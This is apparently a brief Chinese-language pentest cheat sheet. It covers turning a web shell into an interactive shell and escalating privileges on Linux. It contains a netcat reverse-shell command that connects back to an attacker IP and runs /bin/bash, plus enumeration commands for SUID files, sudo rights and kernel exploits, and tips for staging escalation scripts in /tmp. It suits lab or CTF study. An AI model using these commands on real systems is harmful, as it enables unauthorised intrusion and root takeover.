1 WebShell 到 bash/sh
1.1 反弹 Shell
- 攻击机器
$ nc -lvvp 4444 # 开启 4444 端口,等待目标机器回连
- 受害机器
$ nc -nv x.x.x.x 4444 -e /bin/bash # x.x.x.x 是攻击机器的IP,将Shell反弹
2 不同用户权限
2.1 命令有限的用户
2.1.1 命令逃逸
vi
命令逃逸
2.2 Web 用户权限,如 www-data
2.2.1 切换为普通用户
无密码用户可以直接切换,有密码用户需要找到密码。
$ su <username>
2.2.2 直接提权
选择合适的方法提权 root 权限。
2.3 普通用户权限
普通用户直接选择合适的方法提权即可。
2.4 Docker 内的权限
利用漏洞逃逸。
3 如何选择提权方法
3.1 Linux
3.1.1 SUID 提权
- 查找待 SUID 的文件
$ find / -perm -u=s 2>/dev/null
3.1.2 查看 sudo 程序
sudoer
配置错误时,可以免密码直接以 sudo
权限执行程序,以此获得 root
权限。
$ sudo -l
3.1.3 查看操作系统及内核是否存在提权漏洞
$ uname -a
$ lsb_release -a
比如操作系统是 Ubuntu 16.04
,内核版本是 4.4.0
,那么可以通过 searchsploit
命令来快速查找提权漏洞:
$ searchsploit -w ubuntu 16.04 4.4.x
3.2 Windows
待续。。。
4 技巧
-
/tmp
目录一般是可写的,提权脚本可以放到此目录。 -
通过
searchsploit
命令可以快速查找程序及系统是否存在漏洞。 -
通过
scp
或python -m http.server 8888
将提权脚本发送到目标机器。